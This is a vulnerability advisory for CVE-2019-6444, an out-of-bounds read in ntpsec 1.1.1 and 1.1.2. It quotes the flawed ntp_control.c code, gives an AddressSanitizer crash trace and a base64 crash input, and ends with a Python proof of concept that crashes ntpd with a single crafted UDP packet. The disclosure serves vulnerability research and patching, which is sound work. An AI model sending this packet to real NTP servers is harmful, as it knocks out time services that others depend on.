_        _                   
    / |   ___| |_ ___ ___ ___ ___ 
 _ / /   |   |  _| . |_ -| -_|  _|
|_|_/    |_|_|_| |  _|___|___|___|
                 |_|              

2019-01-15

Out-of-bounds read in ntpsec
============================

CVE-2019-6444

This is the second of four bugs. For more visit: dumpco.re/blog/ntpsec-bugs

An out-of-bounds read bug was found in ntpsec.

Affected versions: ntpsec 1.1.1, 1.1.2

Timeline:

2018-10-15 Bug discovered
2018-10-17 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6444

The bug exists in process_control() in ntp_control.c.

On line 712 in ntp_control.c, attacker controlled data is parsed into a uint16 in pkt->count.

  700 /*                                                                                                
  701  * unmarshall_ntp_control - unmarshall data stream into a ntp_sontrol struct                      
  702  */                                                                                               
  703 void
  704 unmarshall_ntp_control(struct ntp_control *pkt, struct recvbuf *rbufp)                            
  705 {
  706     pkt->li_vn_mode = (uint8_t)rbufp->recv_buffer[0];                                             
  707     pkt->r_m_e_op = (uint8_t)rbufp->recv_buffer[1];                                               
  708   pkt->sequence = extract_16bits_from_stream(&rbufp->recv_buffer[2]);                             
  709   pkt->status = extract_16bits_from_stream(&rbufp->recv_buffer[4]);                               
  710   pkt->associd = extract_16bits_from_stream(&rbufp->recv_buffer[6]);                              
  711   pkt->offset = extract_16bits_from_stream(&rbufp->recv_buffer[8]);                               
  712   pkt->count = extract_16bits_from_stream(&rbufp->recv_buffer[10]);                               
  713     memcpy(&pkt->data, rbufp->recv_buffer + 12, 480 + MAX_MAC_LEN);                                                                                                                                        
  714 }
  715
  716 uint16_t
  717 extract_16bits_from_stream(uint8_t *addr)
  718 {
  719     uint16_t var = 0;
  720     var = (uint16_t)*addr << 8;
  721     var |= (uint16_t)*(addr + 1);
  722     var = ntohs(var);
  723   return var;
  724 }

As shown below, the attacker controlled data is later dereferenced on line 861 by ntohl():

  771   int req_count;
  ..
  786   unmarshall_ntp_control(&pkt_core, rbufp);               // <- attacker controlled data parsed into pkt_core->count
  787   pkt = &pkt_core;                                        // <-             
  ..
  831   req_count = (int)ntohs(pkt->count);                     // <-
  ..
  852   properlen = req_count + (int)CTL_HEADER_LEN;            // <-                
  ..
  855   properlen = (properlen + 7) & ~7;
  856   maclen = rbufp->recv_length - (size_t)properlen;
  857   if ((rbufp->recv_length & 3) == 0 &&                                                                                                                                                                     
  858       maclen >= MIN_MAC_LEN && maclen <= MAX_MAC_LEN) {
  859     keyid_t keyid;
  860     pkid = (void *)((char *)pkt + properlen);             // <- 
  861     keyid = ntohl(*pkid);                                 // <- attacker controlled data dereferenced
  862     DPRINT(3, ("recv_len %zu, properlen %d, wants auth with keyid %08x, MAC length=%zu\n",
  863          rbufp->recv_length, properlen, keyid,
  864          maclen));
  865 
  866     res_auth = authlookup(keyid, true);  // FIXME
  867     if (NULL == res_auth)
  868       DPRINT(3, ("invalid keyid %08x\n", keyid));
  869     else if (authdecrypt(res_auth, (uint32_t *)pkt,
  870              (int)rbufp->recv_length - (int)maclen,
  871              (int)maclen)) {
  872       DPRINT(3, ("authenticated okay\n"));
  873     } else {
  874       res_auth = NULL;
  875       DPRINT(3, ("authentication failed\n"));
  876     }
  877   }

Crash report:

  # uname -a
  Linux h4xb0x 3.16.0-7-amd64 #1 SMP Debian 3.16.59-1 (2018-10-03) x86_64 GNU/Linux

  # base64 ../../bug2
  jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr
  KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB
  AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef

  # sha256sum ../../bug2
  f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20  ../../bug2

  # ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer-3.5 ./build/main/ntpd/ntpd -n & sleep 1; cat ../../bug2 > /dev/udp/127.0.0.1/5123
  [1] 24724
  2018-10-16T20:59:43 ntpd[24724]: INIT: ntpd ntpsec-1.1.2 2018-10-15T18:34:38Z: Starting
  2018-10-16T20:59:43 ntpd[24724]: INIT: Command line: ./build/main/ntpd/ntpd -n
  2018-10-16T20:59:43 ntpd[24724]: INIT: precision = 0.125 usec (-23)
  2018-10-16T20:59:43 ntpd[24724]: INIT: successfully locked into RAM
  2018-10-16T20:59:43 ntpd[24724]: CONFIG: readconfig: parsing file: /etc/ntp.conf
  restrict 0.0.0.0: KOD does nothing without LIMITED.
  2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: KOD does nothing without LIMITED.
  2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict 0.0.0.0: notrap keyword is ignored.
  restrict ::: KOD does nothing without LIMITED.
  2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: KOD does nothing without LIMITED.
  2018-10-16T20:59:43 ntpd[24724]: CONFIG: restrict ::: notrap keyword is ignored.
  2018-10-16T20:59:43 ntpd[24724]: INIT: Using SO_TIMESTAMPNS
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 0 v6wildcard [::]:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 2 lo 127.0.0.1:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 3 eth0 192.168.245.220:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 4 eth0 192.168.245.131:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 5 lo [::1]:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:5123
  2018-10-16T20:59:43 ntpd[24724]: IO: Listening on routing socket on fd #23 for interface updates
  2018-10-16T20:59:43 ntpd[24724]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory
  =================================================================
  root@h4xb0x:/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2# ==24724==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe933a6978 at pc 0x562d6d7978b1 bp 0x7ffe933a6690 sp 0x7ffe933a6688
  READ of size 4 at 0x7ffe933a6978 thread T0
      #0 0x562d6d7978b0 in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861:11
      #1 0x562d6d76991b in receive /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_proto.c:676:3
      #2 0x562d6d78695e in mainloop /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:982:6
      #3 0x562d6d78695e in ntpdmain /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:911
      #4 0x562d6d78695e in main /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntpd.c:426
      #5 0x7f4016dc9b44 in __libc_start_main /build/glibc-6V9RKT/glibc-2.19/csu/libc-start.c:287
      #6 0x562d6d73a48c in _start (/home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/ntpd/ntpd+0x10348c)

  Address 0x7ffe933a6978 is located in stack of thread T0 at offset 632 in frame
      #0 0x562d6d7964bf in process_control /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:768

    This frame has 1 object(s):
      [32, 576) 'pkt_core' <== Memory access at offset 632 overflows this variable
  HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
        (longjmp and C++ exceptions *are* supported)
  SUMMARY: AddressSanitizer: stack-buffer-overflow /home/magnus/projects/ntpsec/untouched/ntpsec-1.1.2/build/main/../../ntpd/ntp_control.c:861 process_control
  Shadow bytes around the buggy address:
    0x10005266ccd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cce0: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266ccf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  =>0x10005266cd20: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3[f3]
    0x10005266cd30: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
    0x10005266cd40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cd50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cd60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x10005266cd70: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable:           00
    Partially addressable: 01 02 03 04 05 06 07 
    Heap left redzone:       fa
    Heap right redzone:      fb
    Freed heap region:       fd
    Stack left redzone:      f1
    Stack mid redzone:       f2
    Stack right redzone:     f3
    Stack partial redzone:   f4
    Stack after return:      f5
    Stack use after scope:   f8
    Global redzone:          f9
    Global init order:       f6
    Poisoned by user:        f7
    Container overflow:      fc
    ASan internal:           fe
  ==24724==ABORTING

The following PoC exploit can be used to demonstrate the issue:

  #!/usr/bin/env python
  import sys
  import socket

  buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
         "\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
         "\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
         "\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
         "\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
         "\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
         "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
         "\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
         "\xd8\x80\x57\x9f")

  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.sendto(buf, ('127.0.0.1', 123))

Proof of discovery:

  # base64 ../../bug2
  jgprw4AAAAAAAAJIR1BTc2vDgAAAAAAAAkhHUFNz3bXJZM+KKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrREdQEABHtcnPl7sA5fjdtclr2H+Bwt21yWvdgOTk5Z8rKysrKysrKysr
  KysrKysrISsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKyvFv7xr2H+CACsrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKysrKytCKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrKysrKysrKyvtKysrKysrKysrKysrKysrKysrKysrKysrKysrAADk5Csr
  KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwAB
  AAArKysrKysrKysrKysrKysrKykrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr
  KysrKysrKysrKysrKysrK5dI3bXJa7voCPjduslr2H+Cwt21yWvYgFef

  # sha256sum ../../bug2
  f4da8e559d7dcb528daabce3c9680146674f80ebb7cc66a72d5f18faf58ddb20  ../../bug2

twitter.com/magnusstubman/status/1051905422179880961

# References

ftp://ftp.ntpsec.org/pub/releases
gitlab.com/NTPsec/ntpsec/issues/508
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6444